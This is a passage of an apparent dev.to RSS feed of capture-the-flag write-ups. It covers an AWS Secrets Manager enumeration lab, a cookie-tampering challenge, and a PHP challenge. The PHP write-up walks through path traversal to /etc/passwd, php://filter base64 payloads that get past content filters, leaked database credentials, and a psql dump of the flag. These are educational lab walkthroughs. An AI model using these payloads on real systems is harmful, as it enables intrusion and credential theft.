               &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-password*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-api-key*"&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Sid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AllowSecretsManagerActions"&lt;/span&gt;&lt;span class="w"&gt;  
           &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;  
           &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"secretsmanager:ListSecrets"&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Sid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AllowListSecrets"&lt;/span&gt;&lt;span class="w"&gt;  
           &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;  
       &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;  
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Policy Analysis
&lt;/h3&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AllowIAMActions: Allows the user to perform read-only enumeration on IAM profiles and policies.

AllowListSecrets: Grants the ability to list all available metadata for secrets in this account across any resource path.

AllowSecretsManagerActions: Restricts the actual extraction of secret values exclusively to two target prefixes: sm-enumerate-password* and sm-enumerate-api-key*.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  Part 3: Enumerating Secrets Manager
&lt;/h2&gt;

&lt;p&gt;With verification that secretsmanager:ListSecrets is permitted globally, we execute a command to discover what secrets exist in the region.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws secretsmanager list-secrets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output highlights two secrets matching the resource restrictions found in the IAM policy:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Secret Name: sm-enumerate-password

    ARN: arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-password-cSojGz

Secret Name: sm-enumerate-api-key

    ARN: arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-api-key-zShLNz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  Part 4: Extracting and Decoding the Flag
&lt;/h2&gt;

&lt;p&gt;Since the policy explicitly permits secretsmanager:GetSecretValue for these specific names, we can query the values directly.&lt;br&gt;
Extracting the Password&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws secretsmanager get-secret-value &lt;span class="nt"&gt;--secret-id&lt;/span&gt; sm-enumerate-password 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"ARN"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-password-cSojGz"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"Name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sm-enumerate-password"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"SecretString"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;password&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;cybr-labs-are-super-fun-2211&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;}"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Extracting the API Key&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws secretsmanager get-secret-value &lt;span class="nt"&gt;--secret-id&lt;/span&gt; sm-enumerate-api-key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"ARN"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-api-key-zShLNz"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"Name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sm-enumerate-api-key"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"SecretString"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;secret-api-key&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;Y3lici1sYWJzLWZha2UtYXBpLWtleS0xMTIy&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;}"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SecretString for the API key contains a Base64-encoded string: &lt;code&gt;Y3lici1sYWJzLWZha2UtYXBpLWtleS0xMTIy&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Decoding the Flag
&lt;/h3&gt;

&lt;p&gt;To complete the Capture the Flag challenge, the Base64 value must be passed to a decoder. Running this locally via Linux utility tools:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Y3lici1sYWJzLWZha2UtYXBpLWtleS0xMTIy"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoded Capture the Flag Value:&lt;br&gt;
&lt;code&gt;cybr-labs-fake-api-key-1122&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  PWNSOME REFERENCES:
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/#cli-aws-secretsmanager" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/#cli-aws-secretsmanager&lt;/a&gt;&lt;/p&gt;

</description>
      <category>redteam</category>
      <category>aws</category>
      <category>cloud</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Garden State Gateway -jerseyctf6</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Wed, 06 May 2026 13:05:13 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/garden-state-gateway-36p2</link>
      <guid>https://dev.to/davidonlinearchive/garden-state-gateway-36p2</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmufpnq2by82rrvp2hb44.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmufpnq2by82rrvp2hb44.png" alt="Challenge description" width="496" height="528"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This site uses weak creds to login &lt;code&gt;admin:admin&lt;/code&gt;.  The profile reveals our role. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnyjzlmnssneb0fqis7og.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnyjzlmnssneb0fqis7og.png" alt=" " width="800" height="701"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To solve challenge insepct elements go storage tab edit cookie value from visitor -&amp;gt; admin. This reveals &lt;/p&gt;

&lt;p&gt;identify and deccode the cipher (ROT-13). &lt;code&gt;wpgs{t4g3j4l_p00x13} -&amp;gt; jctf{g4t3w4y_c00k13}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F21ov6vkg1jayct5hsoxs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F21ov6vkg1jayct5hsoxs.png" alt=" " width="800" height="655"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>jerseyctf</category>
      <category>pwnsome</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>my-cool-blog - jerseyctf6</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Sun, 19 Apr 2026 20:34:36 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/my-cool-blog-jerseyctf6-1985</link>
      <guid>https://dev.to/davidonlinearchive/my-cool-blog-jerseyctf6-1985</guid>
      <description>&lt;h2&gt;
  
  
  Challenge Overview
&lt;/h2&gt;

&lt;p&gt;This challenge involves chaining multiple vulnerabilities — &lt;strong&gt;Directory Traversal&lt;/strong&gt;, &lt;strong&gt;Local File Inclusion (LFI)&lt;/strong&gt;, and a &lt;strong&gt;PHP filter bypass&lt;/strong&gt; — to extract database credentials and retrieve the flag directly from a PostgreSQL database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key concepts:&lt;/strong&gt; LFI, Directory Traversal, PHP filter wrapper, Base64 bypass, PostgreSQL enumeration&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 – Reconnaissance
&lt;/h2&gt;

&lt;p&gt;The challenge URL exposes a suspicious &lt;code&gt;file&lt;/code&gt; parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;http://my-cool-blog.aws.jerseyctf.com/view-post.php?file=posts/cool-post-1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft3hmsquaj66pbid7lmcy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft3hmsquaj66pbid7lmcy.png" alt="Landing page"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Run an &lt;code&gt;nmap&lt;/code&gt; scan to fingerprint the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; my-cool-blog.aws.jerseyctf.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff42li2iiaugcy01avi8t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff42li2iiaugcy01avi8t.png" alt="Target scan"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 8.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache 2.4.63 Ubuntu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5432&lt;/td&gt;
&lt;td&gt;PostgreSQL&lt;/td&gt;
&lt;td&gt;DB 18.0–18.2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The infrastructure is hosted on AWS EC2, confirmed by the reverse DNS record. Port 5432 being publicly accessible is an immediate red flag.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 – Confirm LFI via Directory Traversal
&lt;/h2&gt;

&lt;p&gt;Passing an invalid path to the &lt;code&gt;file&lt;/code&gt; parameter triggers a verbose PHP error:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffo8u494q6j41yobt4r17.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffo8u494q6j41yobt4r17.png" alt="PHP error disclosure"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This leaks two critical details — the app passes user input directly to &lt;code&gt;file_get_contents()&lt;/code&gt;, and the absolute server path is &lt;code&gt;/opt/server/&lt;/code&gt;. Verify LFI by reading &lt;code&gt;/etc/passwd&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?file=../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmaf5uhgy434k33zazo3f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmaf5uhgy434k33zazo3f.png" alt="LFI confirmed"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Confirmed. We have LFI.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 – Enumerate the Source Code
&lt;/h2&gt;

&lt;p&gt;Use the PHP Base64 filter wrapper to read &lt;code&gt;view-post.php&lt;/code&gt; without the server executing it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmcnamsbtbf38etf5txl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmcnamsbtbf38etf5txl.png" alt="Decoded source code"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Decoding the Base64 output reveals two security checks:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Directory block&lt;/strong&gt; — blocks any input starting with &lt;code&gt;includes&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Content filter&lt;/strong&gt; — blocks any file whose contents contain the string &lt;code&gt;pg_connect&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The developer even Base64-encoded &lt;code&gt;pg_connect&lt;/code&gt; within the source itself (&lt;code&gt;cGdfY29ubmVjdA==&lt;/code&gt;) to obscure the check — a textbook security through obscurity mistake.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 – Bypass the Filters and Extract Credentials
&lt;/h2&gt;

&lt;p&gt;Both filters collapse under the same PHP filter wrapper trick:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;includes/&lt;/code&gt; block only checks if input &lt;em&gt;starts with&lt;/em&gt; &lt;code&gt;includes&lt;/code&gt; — &lt;code&gt;php://&lt;/code&gt; bypasses it entirely&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;pg_connect&lt;/code&gt; content filter never fires because the file is Base64-encoded in memory before &lt;code&gt;str_contains&lt;/code&gt; can inspect it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Winning payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;includes&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decode the returned Base64 to reveal the PostgreSQL credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;host&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;my-cool-blog.aws.jerseyctf.com&lt;/span&gt;
&lt;span class="py"&gt;dbname&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;blog&lt;/span&gt;
&lt;span class="py"&gt;user&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;blog_web&lt;/span&gt;
&lt;span class="py"&gt;password&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;oPPNQ9vkMdAJx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 5 – Connect to PostgreSQL and Dump the Flag
&lt;/h2&gt;

&lt;p&gt;Connect directly to the remote database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-h&lt;/span&gt; my-cool-blog.aws.jerseyctf.com &lt;span class="nt"&gt;-U&lt;/span&gt; blog_web &lt;span class="nt"&gt;-d&lt;/span&gt; blog
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;List the tables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Query the flag table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9jxaeehqtcroj7u0a8zs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9jxaeehqtcroj7u0a8zs.png" alt="Flag retrieved"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;jctf{EgdbFYxQi4zmD5oovBpG7F5RJqRb7Tnd}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Pwnsome References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/web-security/file-path-traversal" rel="noopener noreferrer"&gt;PortSwigger – LFI / Path Traversal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion#php-filter" rel="noopener noreferrer"&gt;HackTricks – PHP Filter Wrapper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.postgresql.org/docs/current/app-psql.html" rel="noopener noreferrer"&gt;PostgreSQL psql Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion" rel="noopener noreferrer"&gt;PayloadsAllTheThings – LFI Wordlist&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>jerseyctf6</category>
      <category>pwnsome</category>
      <category>ctf</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>X-Ray Vision - jerseyctf6</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Sun, 19 Apr 2026 19:35:22 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/x-ray-vision-jerseyctf6-2cj2</link>
      <guid>https://dev.to/davidonlinearchive/x-ray-vision-jerseyctf6-2cj2</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw266awredp0lgww25mbd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw266awredp0lgww25mbd.png" alt="Challenge description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
